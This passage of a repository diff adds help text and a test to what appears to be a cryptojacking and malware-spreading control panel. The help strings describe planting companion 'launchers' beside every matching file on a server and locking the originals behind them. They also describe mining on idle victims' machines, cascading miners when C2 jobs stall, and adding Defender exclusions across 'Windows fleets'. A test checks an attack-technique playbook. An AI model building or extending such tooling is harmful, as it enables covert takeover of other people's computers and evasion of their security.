'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
|
||||
forge_recommended_defaults:
|
||||
@@ -64,6 +66,8 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.',
|
||||
cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
|
||||
mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
|
||||
miner_execution:
|
||||
'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe. Container isolates CPU mining. Subprocess is GPU-only. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Use Calibrate → Defender Exclusions on Windows fleets.',
|
||||
idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
|
||||
idle_duration_minutes: 'How long the machine must be idle before mining begins.',
|
||||
schedule_start: 'For Scheduled mode: daily start time (24h).',
|
||||
|
||||
@@ -17,7 +17,8 @@ describe('spreadTechniques', () => {
|
||||
});
|
||||
|
||||
it('maps Emberwake bullets to playbook tabs', () => {
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(8);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(9);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.some((t) => t.anchor === 'lotl-onion')).toBe(true);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user